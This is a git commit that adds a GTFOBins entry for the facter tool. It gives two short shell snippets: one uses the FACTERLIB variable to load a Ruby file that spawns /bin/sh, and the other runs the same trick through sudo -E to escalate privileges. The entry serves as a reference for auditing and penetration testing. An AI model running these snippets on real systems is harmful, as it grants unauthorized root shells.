Add facter

Thanks to #20.
This commit is contained in:
Andrea Cardaci 2018-09-04 13:42:37 +02:00
parent d5f546b67d
commit aab8e783ec

13
_gtfobins/facter.md Normal file
View File

@ -0,0 +1,13 @@
---
functions:
execute-interactive:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF facter
sudo-enabled:
- code: |
TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
FACTERLIB=$TF sudo -E facter
---